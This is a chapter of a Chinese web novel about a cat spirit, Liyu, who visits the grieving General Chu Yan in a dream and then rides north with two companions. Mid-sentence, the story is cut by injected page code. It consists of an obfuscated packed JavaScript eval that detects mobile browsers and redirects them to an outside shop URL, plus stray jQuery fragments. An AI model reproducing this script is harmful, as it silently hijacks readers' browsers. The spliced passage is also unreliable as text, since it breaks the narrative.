许年看着从角落木盒子里扒出的小物件,觉得国师真狠啊。
杀人诛心,也莫过于此了。
原本听完将军的话,许年半信半疑,如今却良久不知言语。
所有的一切都指向一点:猫是自愿离开的。
为什么呢?
许年想不明白。
他只知道,自己没法狠心交给将军。
“找到了?”楚晏站在他身后不远处,“找到什么,杵那半天。”
许年转身,露出一个比哭还难看的笑:“将军……”
楚晏已经过了昨夜那个疯狂的劲儿,如今只是人看上去有些憔悴,闻言耸了耸肩道:“只要你别说那是鲤鱼的尸体,我都……”
“是铃铛。”
男人声音戛然而止,许年红着眼,拿出沾着泥土和花瓣的木盒,哑声道:“是鲤鱼的铃铛。”
楚晏盯着那只保存完好的红绳铃铛,眼眶一点点变得通红。
*
夜里漓玉辗转反侧,男人沉闷的哭声吵得他睡不着,翻身坐起来,又什么都听不到。
他烦躁地揉了揉耳朵,烦人的哭声总算消失了,但满眼都是男人那张强忍委屈的俊脸,一声声地反复质问他,说:“你真的不要我啦?”
可怜惨了。
漓玉忍无可忍,偷偷潜入男人的梦。
“别哭了!”漓玉骂道,“你长那么大只,整天就知道哭,将士的脸都让你丢光了!”
男人抱着他的旧猫窝,指节串着金铃铛,坐在榻前流眼泪,看到猫骂骂咧咧跑过来,才止住哭声。
神情恍惚:“小鲤鱼?”
“猫竟然会说话。”楚晏喃喃道,“原来我真的在做梦……”
“是的,你在做梦,梦里一直哭,哭得我睡不着!”漓玉拿爪子拍他,拍得梆梆响,“我又不是死了!”
“呸呸呸!”楚晏捉住他的爪子,一手按住他的猫嘴,尽管那只会将他的整个猫头拢住,“休要听那妖道胡言,鲤鱼好好的,才不会出事。”
漓玉终于后知后觉体会到齐樾说的话。
原来真是误会。
“鲤鱼,你去哪儿了?为什么一声不吭就离家出走?是我待你不好吗?”楚晏紧紧抱着猫道。
漓玉觉得自己快要被挤扁了,拼命从臂弯里探出头,叹了口气安抚他:“我只是需要出一趟远门,不是离家出走。”
“而且我没有一声不吭,我留了记号。家里的干粮我都带走了,还有毛绒球,我路上想玩了可以偷偷玩。”漓玉说,“我也把金铃还给你了,戴这个出去有损我的形象,本来想等回来后自己取回来的……既然在你那,就给我好好保管。”
说着,用脑袋蹭了蹭他,语气又忍不住凶起来,“什么叫一声不吭?我要真开口说话,吓死你!当猫有时候就是这么烦人……”
猫咪嘀嘀咕咕的抱怨声听得楚晏心软,他忍住鼻尖酸涩,将脸埋进猫腹,哑声道:“我好想你……”
漓玉骂骂咧咧的声音一顿。
“我好想你。”楚晏嗓音黏糊,“你什么时候回来啊?”
“……也许,半个月,也许一个月。”漓玉目移,男人又蹭了蹭小猫脸。漓玉:“……不会超过一个月。”
“好久。”楚晏闷声道。
“……”漓玉声音越来越小,“其实是赶路的时间有点久。我早上起不来,对睡觉环境的要求也比较高……”
楚晏笑起来,这个梦怎么如此荒诞又如此真实,他都不想醒来了。
“所以,想要我快些回来,就不要在我梦里哭。”漓玉冷声警告,“我是有正事的猫。”
“好好好。”楚晏听出了他别扭的关心,深吸了口猫腹道,“我会照顾好自己,好好睡觉,等你回家。”
漓玉冷哼。
“我真的以为你不要我了。”温存片刻,楚晏还有些后怕,手上力道又重几分,“你是要吓死我……”
“看你表现。”漓玉舔了舔他的下颚,带着细密倒刺的苔面小梳子似的刮过皮肤,似安抚似威胁,“要是回来后你还这么蠢,这么凶,我就不要你。”
什么意思?我蠢?还凶?楚晏不明白:“我何时凶过你?又
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611452|205940||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怎么舍得凶你……”
再说下去就要暴露了,漓玉蹭了蹭他的脸颊确定对方情绪已经稳定,而后给了他一爪,果断抽身脱离。
被猫祖宗一爪子活生生拍醒的楚晏:“?”
恍惚睁眼一瞧,窗外已天光大亮。
漓玉叹了口气,心累。
寒冬未过,越往北越冷,三人骑的都是战马,脚程快,第三日便遇到风雪。夜里齐樾和邬寒已经做好了换马车的准备,然而第二天出门,却见国师裹着大氅安静靠在门口,长睫微垂,面容冷白难掩困倦。
听见动静,才懒懒正身,瞟了二人一眼:“醒了?下楼用膳,天寒,灌口热汤再走。”说完,率先往楼下走。
国师竟然起得比他们还早,二人内心惊疑,忙告了声罪跟在身后,下楼时店小二刚好端来早膳,两大碗牛肉汤,再配上烙好的饼,喷香。
两人不约而同吞咽一口,愣是没敢吃。
“吃吧,出门在外,没有那些个规矩。”漓玉掩唇打了个哈切。
齐樾和邬寒盯着面前的大碗肉汤,又齐齐看了眼对面空荡的桌面:“……您不吃?”
话音刚落,店小二去而复返,灿笑道:“您的羊奶和小鱼干,客官请慢用。”
羊奶香甜不腻,鱼干金黄酥脆,热气腾腾,一看就是将军府的特供干粮,重新炸过后依旧馋得人流涎水。
“……”
“……”
“想什么呢。”漓玉慢条斯理拆开一包鹿肉糜,嗅了嗅,略嫌弃地倒了些在碟子里,搭配鱼干食用,“不是断头饭,我也没病。快吃,吃完赶路。”
嗯,还是那个不亏待自己的国师。
两人悻悻,开始就着饼吃起来。几口热汤下肚,全身都暖了。
邬寒嘿嘿笑了声,全然放松下来,问漓玉:“外头风寒,我们昨夜问过了,驿站有马车,您看要不要……”
漓玉咽下嘴里的鱼干,道:“还有几日抵达北城?”
齐樾:“越往北积雪越厚,以如今的脚程,最快也要七日。”
漓玉:“不换。”